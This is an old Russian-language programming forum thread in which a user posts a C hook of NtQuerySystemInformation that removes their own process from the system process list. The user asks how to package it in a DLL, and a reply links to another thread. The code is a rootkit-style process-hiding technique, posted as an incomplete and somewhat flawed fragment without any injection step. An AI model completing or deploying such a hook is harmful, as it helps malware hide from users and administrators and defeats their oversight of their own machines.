Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате |
Форум программистов > C/C++: Системное программирование и WinAPI > Про невидимых |
Автор: Necro 10.1.2005, 08:28 |
Есть такой пример Код: NTAPI Hook_NtQuerySystemInformation( LONG type, // тип информации PVOID SystemInformation, // указатель на буфер LONG SystemInformationLength, // размер буфера в байтах PLONG ReturnLength // указатель на 32-битное число ) { SYSTEM_PROCESS_INFORMATION *pinfo, *pinfo_last; // вызываем оригинальную функцию ((PFNNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation) (type, SystemInformation, SystemInformationLength, ReturnLength); // если получается информация о процессах if(type == 5) { if(SystemInformationLength > 20000) { pinfo = (SYSTEM_PROCESS_INFORMATION*)SystemInformation; for(;;) { // если идентификатор процесса равен идентификатору нашего процесса if(pinfo->ProcessID == progProcessId) { // если наш процесс последний в списке if(pinfo->NextOffest == 0) { // предпоследний процесс теперь стал последним, а наш исчез pinfo_last->NextOffest = 0; } else { // или прыгаем через наш процесс pinfo_last->NextOffest += pinfo->NextOffest; } } if(pinfo->NextOffest == 0) break; // предудущий процесс теперь равен текущему pinfo_last = pinfo; // переходим к следующему процессу pinfo = (SYSTEM_PROCESS_INFORMATION*)((char *)pinfo + pinfo->NextOffest); } } } } Только не очень то ясно куда его в dll запихивать?? если кто может помогите З.Ы. если есть рабочий пример или время его написать то прошу на мыло [email protected] |
Автор: Guest 21.1.2005, 00:25 |
http://forum.vingrad.ru/index.php?showtopic=21557&hl=ntquerysysteminformation есть пример, правда работает он только под Win2K. |